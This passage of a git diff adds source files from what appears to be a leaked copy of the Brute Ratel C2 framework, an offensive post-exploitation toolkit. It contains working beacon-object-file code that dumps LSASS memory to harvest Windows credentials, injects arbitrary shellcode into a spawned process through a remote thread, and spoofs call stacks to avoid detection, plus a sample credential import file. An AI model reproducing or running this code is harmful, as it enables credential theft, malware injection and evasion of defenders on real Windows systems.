Ex_MiniDumpWriteDumpCallback(PVOID CallbackParam, const PMINIDUMP_CALLBACK_INPUT CallbackInput, PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) { + switch (CallbackInput->CallbackType) { + case 16: + CallbackOutput->Status = S_FALSE; + break; + } + return TRUE; +} + +BOOL task_adjusttoken() { + HANDLE hToken; + TOKEN_PRIVILEGES tp; + if (Advapi32$OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + if (Advapi32$LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (Advapi32$AdjustTokenPrivileges(hToken, 0, &tp, sizeof(tp), NULL, NULL)) { + Kernel32$CloseHandle(hToken); + return TRUE; + } + } + Kernel32$CloseHandle(hToken); + } + return FALSE; +} + +void coffee(char** argv, int argc, WCHAR** dispatch) { + WCHAR* path2dump = L"C:\\Windows\\System32\\MEMORY.DMP"; + HPSS SSHHandle = NULL; + HMODULE ntdll_dll = NULL; + HANDLE currprocHandle = NULL; + HANDLE hProcess = NULL; + DWORD l_pid = 0; + + if (!task_adjusttoken()) { + BadgerDispatchW(dispatch, L"[-] E: Debug privilege\n"); + return; + } + + CHAR buf[MAX_PATH]; + while (Ntdll$NtGetNextProcess(currprocHandle, MAXIMUM_ALLOWED, 0, 0, &currprocHandle) == 0) { + for (int i = 0; i < MAX_PATH; i++) { + buf[i] = 0; + } + Psapi$GetModuleFileNameExA(currprocHandle, 0, buf, MAX_PATH); + if (Msvcrt$strstr(buf, "lsass.exe")) { + hProcess = currprocHandle; + l_pid = Kernel32$GetProcessId(hProcess); + break; + } + } + if (hProcess == NULL || l_pid == 0) { + BadgerDispatchW(dispatch, L"[-] E: lsass handle\n"); + return; + } + BadgerDispatchW(dispatch, L"[+] Lsass: %lu\n", l_pid); + + PSS_CAPTURE_FLAGS SSH_Flags = (PSS_CAPTURE_FLAGS) (PSS_CAPTURE_VA_CLONE + | PSS_CAPTURE_HANDLES + | PSS_CAPTURE_HANDLE_NAME_INFORMATION + | PSS_CAPTURE_HANDLE_BASIC_INFORMATION + | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION + | PSS_CAPTURE_HANDLE_TRACE + | PSS_CAPTURE_THREADS + | PSS_CAPTURE_THREAD_CONTEXT + | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED + | PSS_CREATE_BREAKAWAY + | PSS_CREATE_BREAKAWAY_OPTIONAL + | PSS_CREATE_USE_VM_ALLOCATIONS + | PSS_CREATE_RELEASE_SECTION); + + DWORD checkstat = Kernel32$PssCaptureSnapshot(hProcess, SSH_Flags, CONTEXT_ALL, (HPSS*) &SSHHandle); + if (checkstat != ERROR_SUCCESS) { + BadgerDispatchW(dispatch, L"[-] E: %lx\n", Kernel32$GetLastError()); + Kernel32$CloseHandle(hProcess); + return; + } + BadgerDispatchW(dispatch, L"[+] Snapshot captured\n"); + + MINIDUMP_CALLBACK_INFORMATION CallbackInfo = { 0 }; + CallbackInfo.CallbackRoutine = Ex_MiniDumpWriteDumpCallback; + + HANDLE hFile = Kernel32$CreateFileW(path2dump, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + BadgerDispatchW(dispatch, L"[-] E: %lu\n", Kernel32$GetLastError()); + Kernel32$CloseHandle(hProcess); + return; + } + + if (!Dbghelp$MiniDumpWriteDump(SSHHandle, l_pid, hFile, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo)) { + BadgerDispatchW(dispatch, L"[-] E: %lx\n", Kernel32$GetLastError()); + } else { + BadgerDispatchW(dispatch, L"[+] Memory dumped to %ls\n", path2dump); + } + Kernel32$PssFreeSnapshot((HANDLE)-1, SSHHandle); + Kernel32$CloseHandle(hProcess); + Kernel32$CloseHandle(hFile); + + return; +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/stack_spoofing.c b/BruteRatel-v2.1.2/server_confs/bofs/stack_spoofing.c new file mode 100644 index 0000000..abc9a03 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/stack_spoofing.c @@ -0,0 +1,13 @@ +#include +#include +#include "badger_exports.h" + +WINADVAPI HMODULE WINAPI Kernel32$LoadLibraryA(LPSTR lpBuffer); +WINADVAPI DWORD WINAPI Kernel32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + if (argc > 0) { + HMODULE hModule = (HMODULE) BadgerSpoofStackFrame((UINT_PTR) Kernel32$LoadLibraryA, (UINT_PTR)1, (UINT_PTR)argv[0]); + BadgerSpoofStackFrame((UINT_PTR) Kernel32$WaitForSingleObject, 2, (UINT_PTR)-1, (UINT_PTR)(60* 1000)); + } +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/vainject.c b/BruteRatel-v2.1.2/server_confs/bofs/vainject.c new file mode 100644 index 0000000..58d22df --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/vainject.c @@ -0,0 +1,54 @@ +// NOTE: THIS IS A QUICK SAMPLE OF USING CUSTOM INJECTION +// TECHNIQUES WITH BOFS. OPERATORS CAN WRITE THEIR OWN +// INJECTION TECHNIQUES HERE IN C AND FILE ARGS CAN BE +// PROVIDED TO THIS CODE USING THE 'SET_COFFARGS' COMMAND +// THIS EXAMPLE SPAWNS NOTEPAD AND INJECTS A SHELLCODE +// INTO THE PROCESS USING THIS BOF. THE SHELLCODE FILE IS +// PROVIDED TO THE BOF USING THE 'SET_COFFARGS' COMMAND + +#include +#include +#include "badger_exports.h" + +// the arguments set using the 'set_coffargs' will always be passed on as the +// first arguments to the coffexec commands. the manually passed arguments +// in the console will be passed on as subsequent commands + +WINADVAPI WINAPI BOOL Kernel32$CreateProcessA(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); +WINADVAPI WINAPI LPVOID Kernel32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); +WINADVAPI WINAPI BOOL Kernel32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); +WINADVAPI WINAPI BOOL Kernel32$VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD); +WINADVAPI WINAPI HANDLE Kernel32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + STARTUPINFOA sinfo = { 0 }; + sinfo.cb = sizeof(STARTUPINFOA); + PROCESS_INFORMATION pinfo = { 0 }; + SIZE_T bytesWritten = 0; + LPVOID addressPointer = 0; + DWORD flOldProtect = 0; + DWORD threadID = 0; + + if (argc == 2) { + if (Kernel32$CreateProcessA(NULL, argv[1], NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &sinfo, &pinfo)) { + BadgerDispatch(dispatch, "[+] Process Created: %lu\n", pinfo.dwProcessId); + ULONG bufferSize = BadgerGetBufferSize(argv[0]); + BadgerDispatch(dispatch, "[+] Buffer Size: %llu\n", bufferSize); + addressPointer = Kernel32$VirtualAllocEx(pinfo.hProcess, NULL, bufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (addressPointer) { + BadgerDispatch(dispatch, "[+] Shellcode RX: %p\n", addressPointer); + if (Kernel32$WriteProcessMemory(pinfo.hProcess, addressPointer, argv[0], bufferSize, &bytesWritten)) { + BadgerDispatch(dispatch, "[+] Bytes written: %lu\n", bytesWritten); + if (Kernel32$VirtualProtectEx(pinfo.hProcess, addressPointer, bufferSize, PAGE_EXECUTE_READ, &flOldProtect)) { + HANDLE hThread = Kernel32$CreateRemoteThread(pinfo.hProcess, NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, &threadID); + if (hThread) { + BadgerDispatch(dispatch, "[+] Thread Created: %lu\n", threadID); + } + } + } + } + } + } else { + BadgerDispatch(dispatch, "[+] Need 2 arguments:\n1. shellcode bin file\n2. process2inject\n"); + } +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/server_confs/bofs/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/server_confs/bofs/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/server_confs/patch_envexit/compile.bat b/BruteRatel-v2.1.2/server_confs/patch_envexit/compile.bat new file mode 100644 index 0000000..f0e4797 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/patch_envexit/compile.bat @@ -0,0 +1,2 @@ +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:exe /out:getEnvExitPtr.exe getEnvExitPtr.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:exe /out:testEnvExit.exe testEnvExit.cs \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/patch_envexit/getEnvExitPtr.cs b/BruteRatel-v2.1.2/server_confs/patch_envexit/getEnvExitPtr.cs new file mode 100644 index 0000000..5c9693f --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/patch_envexit/getEnvExitPtr.cs @@ -0,0 +1,15 @@ +using System; +using System.Collections.Generic; +using System.Reflection; + +namespace EnvExit +{ + class Program + { + static void Main(string[] args) + { + var methodList = new List(typeof(Environment).GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)); //extracts all methods as per binding flag + Console.WriteLine(((methodList.Find((MethodInfo mi) => mi.Name == "Exit")).MethodHandle.GetFunctionPointer()).ToString("X")); // prints function pointer for method in hex format + } + } +} diff --git a/BruteRatel-v2.1.2/server_confs/patch_envexit/sampleSharp.cs b/BruteRatel-v2.1.2/server_confs/patch_envexit/sampleSharp.cs new file mode 100644 index 0000000..732eaab --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/patch_envexit/sampleSharp.cs @@ -0,0 +1,19 @@ +using System; +using System.Collections.Generic; +using System.Reflection; + +namespace EnvExit +{ + class Program + { + static void Main(string[] args) + { + Console.WriteLine("Arg count: "+args.Length); + Console.WriteLine("Args:"); + foreach (Object obj in args) + { + Console.WriteLine(obj); + } + } + } +} diff --git a/BruteRatel-v2.1.2/server_confs/patch_envexit/testEnvExit.cs b/BruteRatel-v2.1.2/server_confs/patch_envexit/testEnvExit.cs new file mode 100644 index 0000000..3ba5724 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/patch_envexit/testEnvExit.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Reflection; + +namespace EnvExit +{ + class Program + { + static void Main(string[] args) + { + Console.WriteLine("Before Exit"); + Environment.Exit(0); + Console.WriteLine("Process Did not Exit. Patch Success\n"); + } + } +} diff --git a/BruteRatel-v2.1.2/server_confs/patch_envexit/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/server_confs/patch_envexit/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/server_confs/patch_envexit/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/server_confs/sample_import_creds.csv b/BruteRatel-v2.1.2/server_confs/sample_import_creds.csv new file mode 100644 index 0000000..6ff2d6f --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/sample_import_creds.csv @@ -0,0 +1,4 @@ +creduser,credpass,creddomain,crednote +administrator,admin@123,jupiter.corp,Domain Admin +dev,password@123,jupiter.corp,Domain User Local Admin +dev-user,password,localhost,Local Admin diff --git a/BruteRatel-v2.1.2/server_confs/sample_profile_pe/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/server_confs/sample_profile_pe/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/server_confs/sample_profile_pe/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/server_confs/sample_shareenum_hosts.txt b/BruteRatel-v2.1.2/server_confs/sample_shareenum_hosts.txt new file mode 100644 index 0000000..1953393 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/sample_shareenum_hosts.txt @@ -0,0 +1,3 @@ +vm01 +mssql +vortexdc diff --git a/BruteRatel-v2.1.2/server_confs/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/server_confs/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/server_confs/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/xmodlib.bin b/BruteRatel-v2.1.2/xmodlib.bin new file mode 100644 index 0000000..9260f95 Binary files /dev/null and b/BruteRatel-v2.1.2/xmodlib.bin differ diff --git a/BruteRatel-v2.1.2/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/更多资源关注公众号棉花糖fans.png differ